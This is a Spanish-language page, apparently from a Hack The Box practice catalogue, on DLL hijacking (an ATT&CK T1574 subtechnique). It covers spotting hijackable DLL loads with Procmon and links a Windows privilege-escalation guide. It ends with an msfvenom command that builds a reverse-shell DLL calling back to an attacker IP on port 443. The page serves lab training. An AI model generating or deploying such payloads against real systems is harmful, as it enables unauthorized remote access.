Secuestro de DLL
Subtécnica de T1574 Secuestro del flujo de ejecución ↗
Hacer que un programa de Windows cargue tu DLL en lugar de la legítima por el orden de búsqueda o una ruta escribible.
Cómo aparece en Hack The Box
Con Procmon (en una copia) busca NAME NOT FOUND al cargar DLL desde carpetas que puedes escribir. En HTB suele ir con un servicio o una tarea que se reinicia sola.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated 5 min de lectura Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Generador de reverse shells › msfvenom
DLL de Windows (secuestro de DLL)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dllNingún comando coincide.